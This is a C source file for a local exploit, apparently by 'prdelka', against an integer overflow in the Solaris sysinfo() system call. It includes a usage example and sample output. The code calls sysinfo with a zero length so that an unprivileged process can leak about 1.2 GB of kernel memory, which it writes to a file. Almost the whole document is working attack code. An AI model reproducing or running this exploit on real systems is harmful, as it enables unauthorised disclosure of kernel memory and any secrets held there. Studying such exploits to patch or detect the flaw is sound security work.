/* Sun Microsystems Solaris sysinfo() Kernel Memory Disclosure exploit
* ===================================================================
* Local exploitation of an integer overflow vulnerability in Sun
* Microsystems Inc. Solaris allows attackers to read kernel memory from a
* non-privileged userspace process. The vulnerability specifically exists
* due to an integer overflow in /usr/src/uts/common/syscall/systeminfo.c
*
* Example Use.
* $ uname -a
* SunOS sunos 5.11 snv_30 sun4u sparc SUNW,Ultra-250
* $ ./prdelka-vs-SUN-sysinfo kbuf
* [ Solaris <= 10 sysinfo() kernel memory information leak
* [ Wrote 1294967293 bytes to kbuf
* $ ls -al kbuf
* -rwx------ 1 user other 1.2G Jul 21 23:56 kbuf
*
* -prdelka
*/
#include <sys/systeminfo.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>#define bufsize 1294967293
int main(int argc,char* argv[]){
int fd;
ssize_t out;
char* output_buffer;
if(argc < 2){
printf("[ Use with <filepath>\n");
exit(1);
}
printf("[ Solaris <= 10 sysinfo() kernel memory information leak\n");
output_buffer = malloc(bufsize);
memset(output_buffer,0,bufsize);
sysinfo(SI_SYSNAME,output_buffer,0);
fd = open(argv[1],O_RDWR|O_CREAT,0700);
if(fd!=-1){
out = write(fd,output_buffer,bufsize);
printf("[ Wrote %u bytes to %s\n",out,argv[1]);
close(fd);
}
exit(0);
}
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